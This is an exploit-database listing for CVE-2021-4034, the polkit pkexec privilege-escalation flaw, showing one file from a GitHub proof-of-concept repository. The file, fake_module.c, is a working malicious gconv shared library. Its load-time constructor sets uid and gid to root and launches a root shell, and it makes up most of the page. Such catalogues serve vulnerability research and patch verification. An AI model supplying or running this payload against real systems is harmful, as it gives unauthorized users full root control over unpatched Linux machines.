Exploit database

GH-883edd6e08746d0c6fd652da2c5b6c85

mebeim/cve-2021-4034

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-4034

144 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files6
mebeim/cve-2021-4034Revision 3d50865b4806

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

fake_module.c

C · 576 bytes
/**
 * A fake gconv module (shared library) which runs arbitrary code when loaded by
 * the dynamic loader.
 */

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <syscall.h>
#include <sys/types.h>

void __attribute__ ((constructor)) init(void) {
	if (geteuid() == 0) {
		fputs("Pwned!\n", stderr);

		setuid(0);
		setgid(0);
		setegid(0);

		setenv("PATH", "/usr/local/bin:/usr/bin:/bin", 1);
		execvp("sh", (char *[]){"sh", NULL});
		perror("execvp failed");
	} else {
		fputs("Failed :(\n", stderr);
	}

	syscall(SYS_exit_group, 1);
}